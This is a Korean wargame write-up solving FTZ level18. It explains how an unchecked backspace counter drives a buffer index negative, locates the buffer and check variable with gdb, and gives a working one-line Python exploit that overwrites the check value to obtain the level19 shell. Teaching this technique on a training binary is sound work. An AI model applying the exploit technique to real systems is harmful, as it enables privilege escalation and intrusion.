FTZ level18
문제
[level18@ftz level18]$ cat hint
#include <stdio.h>
#include <sys/time.h>
#include <sys/types.h>
#include <unistd.h>
void shellout(void);
int main()
{
char string[100];
int check;
int x = 0;
int count = 0;
fd_set fds;
printf("Enter your command: ");
fflush(stdout);
while(1)
{
if(count >= 100)
printf("what are you trying to do?\n");
if(check == 0xdeadbeef)
shellout();
else
{
FD_ZERO(&fds);
FD_SET(STDIN_FILENO,&fds);
if(select(FD_SETSIZE, &fds, NULL, NULL, NULL) >= 1)
{
if(FD_ISSET(fileno(stdin),&fds))
{
read(fileno(stdin),&x,1);
switch(x)
{
case '\r':
case '\n':
printf("\a");
break;
case 0x08:
count--;
printf("\b \b");
break;
default:
string[count] = x;
count++;
break;
}
}
}
}
}
}
void shellout(void)
{
setreuid(3099,3099);
execl("/bin/sh","sh",NULL);
}
[level18@ftz level18]$
워우 소스코드가 되게 길어졌다. 동작과정을 살펴보자.
- check의 값이 0xdeadbeef이면 shellout()함수를 호출한다.
- shellout()함수는 권한을 설정하고 /bin/sh명령어를 실행한다.
- 입력으로 "/r","/n"이 입력되면 비프음을 낸다.
- 입력으로 0x08이 입력되면 문자 1개를 지운다.
- 그 외에는 string버퍼 안에 넣는다.
취약점
/*#include <stdio.h>
#include <sys/time.h>
#include <sys/types.h>
#include <unistd.h>
void shellout(void);
int main()
{
char string[100];
int check;
int x = 0;
int count = 0;
fd_set fds;
printf("Enter your command: ");
fflush(stdout);
while(1)
{*/
if(count >= 100)
// printf("what are you trying to do?\n");
if(check == 0xdeadbeef)
shellout();
/*else
{
FD_ZERO(&fds);
FD_SET(STDIN_FILENO,&fds);
if(select(FD_SETSIZE, &fds, NULL, NULL, NULL) >= 1)
{
if(FD_ISSET(fileno(stdin),&fds))
{
read(fileno(stdin),&x,1);
switch(x)
{
case '\r':
case '\n':
printf("\a");
break;*/
case 0x08:
count--;
/* printf("\b \b");
break;
default:
string[count] = x;
count++;
break;
}
}
}
}
}
}
*/
void shellout(void)
{
setreuid(3099,3099);
execl("/bin/sh","sh",NULL);
}
- 1글자씩 입력한 문자를 버퍼에 넣고 100글자가 넘으면 더 이상 버퍼에 넣지 않고 뭐하냐는 문구를 출력한다.
- 그러나 0x08이 입력되었을 경우 count는 --로 1씩 감소하고 문자를 하나 지우는데 이 경우 count가 -로 가는 경우에는 검증하는 과정이 존재하지 않는다.
풀이
-로 가는 과정에서는 검증하지 않기 때문에 string 버퍼 앞에 메모리에 접근할 수 있게되었다.
(gdb) disas main
Dump of assembler code for function main:
0x08048550 <main+0>: push ebp
0x08048551 <main+1>: mov ebp,esp
0x08048553 <main+3>: sub esp,0x100
0x08048559 <main+9>: push edi
0x0804855a <main+10>: push esi
0x0804855b <main+11>: push ebx
0x0804855c <main+12>: mov DWORD PTR [ebp-108],0x0
0x08048563 <main+19>: mov DWORD PTR [ebp-112],0x0
0x0804856a <main+26>: push 0x8048800
0x0804856f <main+31>: call 0x8048470 <printf>
0x08048574 <main+36>: add esp,0x4
0x08048577 <main+39>: mov eax,ds:0x804993c
0x0804857c <main+44>: mov DWORD PTR [ebp-252],eax
0x08048582 <main+50>: mov ecx,DWORD PTR [ebp-252]
0x08048588 <main+56>: push ecx
0x08048589 <main+57>: call 0x8048430 <fflush>
0x0804858e <main+62>: add esp,0x4
0x08048591 <main+65>: jmp 0x8048598 <main+72>
0x08048593 <main+67>: jmp 0x8048775 <main+549>
0x08048598 <main+72>: cmp DWORD PTR [ebp-112],0x63
0x0804859c <main+76>: jle 0x80485ab <main+91>
0x0804859e <main+78>: push 0x8048815
0x080485a3 <main+83>: call 0x8048470 <printf>
0x080485a8 <main+88>: add esp,0x4
0x080485ab <main+91>: cmp DWORD PTR [ebp-104],0xdeadbeef
0x080485b2 <main+98>: jne 0x80485c0 <main+112>
0x080485b4 <main+100>: call 0x8048780 <shellout>
0x080485b9 <main+105>: jmp 0x8048770 <main+544>
0x080485be <main+110>: mov esi,esi
0x080485c0 <main+112>: lea edi,[ebp-240]
0x080485c6 <main+118>: mov DWORD PTR [ebp-252],edi
0x080485cc <main+124>: mov ecx,0x20
0x080485d1 <main+129>: mov edi,DWORD PTR [ebp-252]
0x080485d7 <main+135>: xor eax,eax
0x080485d9 <main+137>: cld
0x080485da <main+138>: repz stos es:[edi],eax
0x080485dc <main+140>: mov DWORD PTR [ebp-244],ecx
---Type <return> to continue, or q <return> to quit---
여기서 알 수 있는 것은 ebp-104에서 deadbeef와 검증을 진행하는 것으로 보아 ebp-104가 check라는 것을 알 수 있다.
(gdb) x/500x $ebp-500
0xbfffe164: 0x079c2ba4 0x00000000 0x00078b74 0xbfffe210
0xbfffe174: 0x40015a38 0xbfffe218 0x40015a38 0x42007ba4
0xbfffe184: 0x400160b0 0x4200ad34 0x400160b0 0x4206d05b
0xbfffe194: 0x42130a14 0x00000014 0x00000000 0xbfffe1c0
0xbfffe1a4: 0x4206d036 0x4212ee20 0x40017000 0x00000014
0xbfffe1b4: 0xbfffe1f4 0x4000807f 0x4001582c 0x4000807f
0xbfffe1c4: 0x4001582c 0x0000005a 0x40015a38 0xbfffe220
0xbfffe1d4: 0x4000be03 0x40015bd4 0x40016380 0x00000001
0xbfffe1e4: 0x00000000 0x00000001 0x00000000 0xbfffe240
0xbfffe1f4: 0x4206181e 0x4212ee20 0x08049880 0x00000005
0xbfffe204: 0x08049894 0x00000009 0x080482c2 0x4204507d
0xbfffe214: 0x42130a14 0x00000000 0x0000000a 0xbfffe240
0xbfffe224: 0x420d7c8d 0x42130a01 0x00000000 0xbfffe268
0xbfffe234: 0x0804861e 0x00000400 0xbfffe268 0x00000000
0xbfffe244: 0x00000000 0x00000000 0x42130a14 0x40015360
0xbfffe254: 0x080487dc 0x61000001 0xbfffe268 0xbfffe2e8
0xbfffe264: 0x00000000 0x00000001 0x00000000 0x00000000
0xbfffe274: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfffe284: 0x00000000 0x00000000 0x00000000 0x00000000
---Type <return> to continue, or q <return> to quit---
0xbfffe294: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfffe2a4: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfffe2b4: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfffe2c4: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfffe2d4: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfffe2e4: 0x00000000 0x0000000f 0x0000000a 0x4000bcc0
0xbfffe2f4: 0x41414141 0x41414141 0x61614141 0x40616161
0xbfffe304: 0x4001582c 0x08049874 0x0000000e 0x080482f8
0xbfffe314: 0x4210fd3c 0x42130a14 0xbfffe33c 0x4210fdf6
0xbfffe324: 0x08049850 0x08049944 0x00000000 0x00000000
0xbfffe334: 0x4210fdc0 0x08049864 0xbfffe34c 0x0804853b
0xbfffe344: 0x08049850 0x08049864 0xbfffe358 0x080483ea
0xbfffe354: 0x42130a14 0xbfffe378 0x42015574 0x00000001
0xbfffe364: 0xbfffe3a4 0xbfffe3ac 0x4001582c 0x00000001
0xbfffe374: 0x080484a0 0x00000000 0x080484c1 0x08048550
0xbfffe384: 0x00000001 0xbfffe3a4 0x080483c0 0x080487dc
0xbfffe394: 0x4000c660 0xbfffe39c 0x00000000 0x00000001
0xbfffe3a4: 0xbffffc16 0x00000000 0xbffffc31 0xbffffc4f
0xbfffe3b4: 0xbffffc5f 0xbffffc6a 0xbffffc78 0xbffffc9a
---Type <return> to continue, or q <return> to quit---
A를 입력한후 디버깅을 진행했다. 대략 ebp-500 부터 확인을 했는데 0xbfffe2f4부터 AAAA가 들어가 있는 것을 확인할 수 있었다. 이로 string버퍼의 시작은 ebp-100(0xbfffe164 - 0xbfffe2f4 = -400)이라는 것을 알게되었다. 굳이 이런 방법을 사용하지 않고 어셈블리 코드를 보며 확인하여도 된다.
자 그럼 우리가 알고 있는 정보를 조합해보자.
- 0x08을 입력하면 count는 --된다.
- ebp-104에서 deadbeef와 검증을 진행한다.
- ebp-100에서부터 string버퍼가 시작된다.
자 그럼 ebp-100에서부터 시작된 string버퍼를 0x08을 입력하여 count를 -로 만들어 ebp-104에 값을 deadbeef로 맞춰 줄 수 있겠다.
익스코드
[level18@ftz level18]$ (python -c "print '\x08'*4 + '\xef\xbe\xad\xde'";cat) | ./attackme
Enter your command: id
uid=3099(level19) gid=3098(level18) groups=3098(level18)
성공적으로 level19의 권한을 획득했다.